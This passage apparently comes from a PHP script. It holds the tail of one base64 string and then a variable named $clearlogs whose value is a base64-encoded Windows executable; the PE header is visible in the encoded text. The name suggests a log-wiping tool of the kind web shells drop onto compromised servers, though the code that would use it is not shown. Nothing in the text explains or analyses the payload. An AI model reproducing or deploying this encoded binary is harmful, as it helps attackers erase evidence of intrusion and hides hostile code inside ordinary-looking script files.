+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="; + +$clearlogs = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v +ZGUuDQ0KJAAAAAAAAAB12cLfMbisjDG4rIwxuKyM2aenjDC4rIyypKKMOrisjFOnv4w0uKyMMbit +jB+4rIzZp6aMGrisjFJpY2gxuKyMAAAAAAAAAABQRQAATAEDAEe3XzwAAAAAAAAAAOAADwELAQYA +AEAAAABAAAAAAAAADhYAAAAQAAAAUAAAAABAAAAQAAAAEAAABAAAAAAAAAAEAAAAAAAAAACQAAAA +EAAAAAAAAAMAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAJxUAAA8AAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAUAAAvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAA +Bj8AAAAQAAAAQAAAABAAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAALAIAAAAUAAAABAAAABQAAAA +AAAAAAAAAAAAAABAAABALmRhdGEAAADcIQAAAGAAAAAQAAAAYAAAAAAAAAAAAAAAAAAAQAAAwAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFFWaEBuQABo +QGxAAP8VAFBAAIvwhfZ1UGh4YEAA6LAEAACDxASNRCQEVlZQaAAEAAD/FRBQQABQVmgAEwAA/xUU +UEAAi0wkBFFodGBAAOh/BAAAi1QkDIPECFL/FVxQQABqAeiVAwAAagBW/xUEUEAAhcB1U2hUYEAA +6FMEAACDxASNRCQEagBqAFBoAAQAAP8VEFBAAFBqAGgAEwAA/xUUUEAAi0wkBFFodGBAAOgfBAAA +i1QkDIPECFL/FVxQQABqAeg1AwAAaDBgQADoAAQAAIPEBFb/FQhQQABeWcOQU1ZXaOxhQADo5QMA +AGikYUAA6NsDAABoaGFAAOjRAwAAi0QkHIPEDDPbg/gCD4U1AQAAi0QkFL5gYUAAi3gEi8eKEIrK +OhZ1HITJdBSKUAGKyjpWAXUOg8ACg8YChMl14DPA6wUbwIPY/4XAdSehVGFAAIsNWGFAAIsVXGFA +AKNAbkAAiQ1EbkAAiRVIbkAA6bcAAAC+TGFAAIvHihCKyjoWdRyEyXQUilABiso6VgF1DoPAAoPG +AoTJdeAzwOsFG8CD2P+FwHUkoUBhQACLDURhQACKFUhhQACjQG5AAIkNRG5AAIgVSG5AAOtfvjhh +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 